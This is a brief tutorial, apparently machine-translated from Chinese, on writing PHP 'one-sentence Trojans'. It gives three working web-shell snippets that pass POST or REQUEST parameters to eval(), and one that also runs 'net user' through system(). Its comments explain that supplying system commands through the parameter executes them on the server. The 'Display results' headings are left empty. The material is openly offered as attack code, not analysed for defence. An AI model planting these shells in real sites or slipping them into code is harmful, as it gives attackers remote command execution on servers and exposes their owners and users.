How to write a php type Trojan horse in one sentence

How to write a one-sentence php type Trojan?

PHP one sentence Trojan

One:

One sentence Trojan about PHP:

<?php
 
 $a=$_POST[&#39;H&#39;];
 eval("$a");//eval会将输入的$a作为php语句执行，因此只要对_赋一定的system命令值，就能够执行系统命令
 
 ?>

Display results:

Two:

A word about PHP Trojans:

<?php
 $string=@$_POST["_"];
 var_dump($string);
echo "<br>";
 eval("system(&#39;net user&#39;);");
 ?>

When the value of POST parameter_ is empty:

When it is not empty:

Three:

Use REQUEST method:

<?php
 @eval($_REQUEST[_]);//什么类型的，如POST，GET均可以接收
 
 ?>

Display result:

GET type:

POST type:

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